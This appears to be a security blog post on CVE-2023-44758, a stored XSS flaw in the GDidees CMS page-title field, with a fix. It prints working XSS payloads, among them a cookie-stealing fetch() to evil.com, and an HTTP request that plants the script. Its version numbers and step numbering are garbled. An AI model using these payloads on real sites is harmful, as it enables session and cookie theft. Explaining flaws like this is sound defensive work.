Published Date: June 2024
Author: CyberSecurityBlogger


GDidees CMS is a lightweight content management system that’s popular for building small to mid-size websites. In October 2023, a critical security vulnerability was discovered in version 3. of GDidees CMS, tracked as CVE-2023-44758. In this article, we’ll break down what the vulnerability is, how it works, and walk through a step-by-step exploit demonstration — all in simple language.

What is CVE-2023-44758?

CVE-2023-44758 is a stored Cross-Site Scripting (XSS) vulnerability that affects GDidees CMS version 3.. The flaw allows attackers to inject and execute malicious JavaScript code in the context of another user’s browser session by abusing the *Page Title* field. Any visitor who views the infected page will unknowingly execute the attacker's code.

XSS vulnerabilities can be highly damaging, leading to stolen login cookies, hijacked sessions, and phishing attacks against site admins or users.

How Does The Exploit Work?

The issue is with how the CMS saves and displays user input in the *Page Title* field. GDidees CMS does not properly sanitize HTML or JavaScript code before displaying it on the page, allowing harmful scripts to slip through.

Exploitation Details (With Code)

Let’s walk through a basic exploit. The vulnerability triggers when the *Page Title* is loaded in a browser.

This is a classic JavaScript XSS payload

<script>alert('XSS Exploit by CVE-2023-44758')</script>

You can make it more sophisticated — for example, stealing cookies

<script>fetch('http://evil.com/steal?c='+document.cookie);</script>

WARNING: Only use this exploit in test environments you own! Never attack sites without permission. Testing on live servers is illegal and unethical.

Start to *create a new page* or *edit an existing page*.

3. For Page Title, enter your payload, e.g. <script>alert('XSS')</script>.

Step 4: Potential Impact

- Admin Session Theft: If an attacker can make an admin view the infected page, the attacker can steal their session cookies.

Sample Attack Proof-of-Concept

Here’s a direct demonstration of the exploit, formatted as a POST request to add an XSS-laden title:

POST /admin/add_page.php HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: [your session cookie]

title=<script>alert('Pwned')</script>&content=This+is+a+test+page.

After sending this, browsing to the affected page will pop the alert in any visitor's browser.

How to Fix It?

Website Owners:
Patch is simple — the CMS must *sanitize* user input by escaping special HTML characters in page titles before displaying them. Convert <, >, ", and ' to HTML entities.

For example, in PHP, use

echo htmlspecialchars($pagetitle, ENT_QUOTES, 'UTF-8');

Update:
If you use GDidees CMS, check for the latest patch or update on the official GDidees page (if available) or reach out to the maintainer for security guidance.

References

- CVE-2023-44758 NVD Record
- GDidees CMS Official Site
- Simple XSS Exploitation Guide

Conclusion

CVE-2023-44758 is an easy but serious XSS flaw in GDidees CMS 3. that can be abused by even beginner attackers — all it takes is a specially-crafted page title. If you’re running this CMS, protect yourself by sanitizing output and applying available updates.

Stay secure, and remember, never test exploits on systems you do not own!

Got questions about this vulnerability or need help debugging your CMS? Ask in the comments!

Timeline

Published on: 10/06/2023 11:15:11 UTC
Last modified on: 10/11/2023 17:19:53 UTC